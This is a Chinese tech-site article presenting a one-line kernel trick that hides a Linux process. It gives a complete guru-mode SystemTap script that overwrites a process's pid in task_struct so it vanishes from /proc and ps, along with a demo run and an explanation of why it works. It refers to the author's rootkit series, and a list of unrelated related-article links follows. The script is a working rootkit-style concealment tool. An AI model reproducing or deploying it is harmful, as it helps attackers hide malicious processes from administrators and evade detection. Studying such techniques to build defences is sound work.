一行代碼教你如何隱藏Linux進(jìn)程
總有朋友問隱藏Linux進(jìn)程的方法，我說你想隱藏到什么程度，是大隱于內(nèi)核，還是小隱于用戶。
網(wǎng)上通篇論述的無(wú)外乎hook掉procfs或者類似的用戶態(tài)方案，也都難免長(zhǎng)篇大論，我說，這些場(chǎng)面都太大了，太復(fù)雜了。對(duì)于希望馬上看到效果的而言，看到這么一堆復(fù)雜的東西，大概率望而卻步。
本文介紹一種將Linux進(jìn)程小隱于用戶的非常規(guī)方法，僅僅一行代碼：
修改掉進(jìn)程的pid即可。
注意是小隱，所以，不值得反制，逗一下高級(jí)會(huì)議工程師搞個(gè)惡作劇玩玩得了。
target->pid = 0x7fffffff;
完整的腳本如下：
#!/usr/bin/stap -g
# hide.stp
global pid;
function hide(who:long)
%{
struct task_struct *target;
target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
target->pid = 0x7fffffff;
%}
probe begin
{
pid = $1
hide(pid);
exit();
}
來來來，試一下：
[root@localhost system]# ./tohide & [1] 403 [root@localhost system]# ./hide.stp [root@localhost system]#
用下面的命令可以檢測(cè)所有可顯示進(jìn)程的二進(jìn)制文件：
for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do
ls -l /proc/$pid/exe;
done
procfs里沒了，ps當(dāng)然就檢測(cè)不到了。
如果你覺得guru模式的stap怪怪的，那么你完全可以編寫自己獨(dú)立的Linux kernel module，采用修改完即退的方法：
target->pid = xxxx; return -1;
是不是比各種hook法簡(jiǎn)單多了，所謂的 動(dòng)數(shù)據(jù)而不要?jiǎng)哟a！
簡(jiǎn)單的說一下原理。
- task被創(chuàng)建的時(shí)候，根據(jù)其pid注冊(cè)procfs目錄結(jié)構(gòu)。
- 展示procfs目錄結(jié)構(gòu)的時(shí)候，遍歷task list以其pid作為key來查找procfs目錄結(jié)構(gòu)。
- 0x7fffffff(或者任何其它合理的值)根本沒有注冊(cè)過，當(dāng)然無(wú)法顯示。
不多說。
再次聲明，不要試圖對(duì)本文所描述的方法進(jìn)行反制，因?yàn)檫@么簡(jiǎn)單的東西根本不值得反制，哈哈，不是嗎？
可以參考我之前的Rootkit系列文章來繼續(xù)研究Linux進(jìn)程大隱于內(nèi)核的方法。同時(shí)，每一種方法我都給出了反制措施。
到此這篇關(guān)于一行代碼教你如何隱藏Linux進(jìn)程的文章就介紹到這了,更多相關(guān)Linux隱藏進(jìn)程內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！
相關(guān)文章
Apache和Tomcat有什么區(qū)別_動(dòng)力節(jié)點(diǎn)Java學(xué)院整理
Apache 和 Tomcat 都是web網(wǎng)絡(luò)服務(wù)器，兩者既有聯(lián)系又有區(qū)別。下面通過本文給大家介紹Apache和Tomcat的區(qū)別，感興趣的朋友一起看看吧2017-08-08
ROS控制Turtlebot3移動(dòng)機(jī)器人的基礎(chǔ)教程
這篇文章主要給大家介紹了關(guān)于ROS控制Turtlebot3移動(dòng)機(jī)器人的相關(guān)資料，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-11-11
Linux中l(wèi)ogrotate日志輪詢操作總結(jié)
這篇文章主要給大家介紹了在Linux中l(wèi)ogrotate日志輪詢操作的相關(guān)資料，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面來一起看看吧。2017-06-06
這篇文章主要介紹了Linux中stat函數(shù)和stat命令使用詳解，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-07-07
CentOS 安裝軟件出現(xiàn)錯(cuò)誤：/lib/ld-linux.so.2: bad ELF interpreter 解決
這篇文章主要介紹了CentOS 安裝軟件出現(xiàn)錯(cuò)誤：/lib/ld-linux.so.2: bad ELF interpreter 解決的相關(guān)資料,需要的朋友可以參考下2017-03-03
Vim缺乏默認(rèn)的插件管理器，所有插件的文件都散布在~/.vim下的幾個(gè)文件夾中，插件的安裝與更新與刪除都需要自己手動(dòng)來，既麻煩費(fèi)事，又可能出現(xiàn)錯(cuò)誤。下面這篇文章主要給大家介紹了關(guān)于在Linux中使用Vundle管理Vim插件的方法，需要的朋友可以參考下。2018-04-04
VmWare安裝centos7無(wú)法上網(wǎng)的解決方法
這篇文章主要為大家詳細(xì)介紹了VmWare安裝centos7無(wú)法上網(wǎng)的解決方法，具有一定的參考價(jià)值，感興趣的小伙伴們可以參考一下2018-10-10
Linux修改用戶密碼使用期限賬號(hào)到期時(shí)間問題
在Linux系統(tǒng)中,通過chage命令能夠管理和查看用戶密碼的使用期限,特別是對(duì)root用戶的密碼過期時(shí)間進(jìn)行設(shè)置,chage命令可以設(shè)置密碼過期時(shí)間,提醒用戶在密碼過期前修改密碼,例如,可以設(shè)定root用戶的密碼180天后過期,并在到期前15天提醒用戶修改密碼2024-10-10
這篇文章詳細(xì)介紹了在Ubuntu服務(wù)器上如何使用命令行工具添加和刪除用戶,包括adduser、useradd、deluser等命令的使用方法和示例,感興趣的朋友一起看看吧2024-12-12
這篇文章主要介紹了Linux如何處理文件已刪除但空間不釋放的問題，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-03-03